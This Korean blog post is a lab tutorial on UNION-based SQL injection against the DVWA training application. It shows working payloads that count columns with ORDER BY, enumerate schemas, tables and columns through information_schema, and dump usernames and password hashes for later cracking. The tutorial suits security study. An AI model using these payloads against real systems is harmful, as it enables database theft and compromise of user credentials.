티스토리 뷰

반응형

Union sql injection은 Uinon 함수를 이용하여 원하고자 하는 정보를 조회하는데 사용된다. 예를 들어 select 절 Union select 절 처럼 두개의 조회 절을 합쳐서 출력하고자 할때 사용한다.

 

 

[WEB] DVWA 사이트를 이용한 Form SQL Injection

1. Form SQL Injection Form은 검색하려는 데이터를 입력하는 HTML의 구조이다. User ID에 1을 입력하면고 Submit을 누르면 http://서버IP/vulnerabilities/sqli/?id=1&Submit=Submit URL로 요청을 하게된다. 이..

techbrad.tistory.com

위에 글에 나와있는 대로 하자면

SELECT first_name, last_name FROM users WHERE user_id = '' union select 절 #' 이렇게 입력되어 union 다음에 오는 select 절을 실행하게끔 하는 것이다.

 

단, union은 두개의 select 절을 합치므로 컬럼 수를 동일하게 해야 오류없이 출력된다. 따라서 order by를 사용하여 현재 재 몇개의 컬럼이 조회 되는지 알아야한다.아래의 그림처럼 입력을 하게 되면 SELECT first_name, last_name FROM users WHERE user_id = '' oerder by 3#' 이러한 형태로 SQL이 되므로 3번째 컬럼을 조회하지 않아 오류창이 발생한다.

 

3번째 컬럼이 없으므로 현재 서버에서 두개의 컬럼만 조회한다는 것을 알 수 있다.
이러한 형태로 컬럼의 개수를 알았다면 여러가지 방법으로 DB에 저장된 내용을 확인할 수 있다.

 

1. 데이터베이스 이름 조회하기

입력: ' UNION SELECT schema_name,2 from information_schema.schemata#

information_schema와 dvwa가 있다는 것을 알 수 있다.

 

 

2. dvwa 데이터베이스에 테이블 조회

입력: ' UNION SELECT table_name, 2 from information_schema.tables where table_schema='dvwa'#

guestbook, users 테이블이 있다는 것을 알 수 있다.

 

 

3. users 테이블 컬럼 조회

입력: ' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#

 

4. 유저 정보 조회하기

테이블과 컬럼 정보를 알고 있으니 유저 정보를 조회하기는 쉽다.

입력: ' UNION SELECT user, password from users #

계정과 해시화된 비밀번호를 손에 넣었으니 이후 패스워드 크래킹으로 유저들의 패스워드를 취득할 수 있게된다.

반응형
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함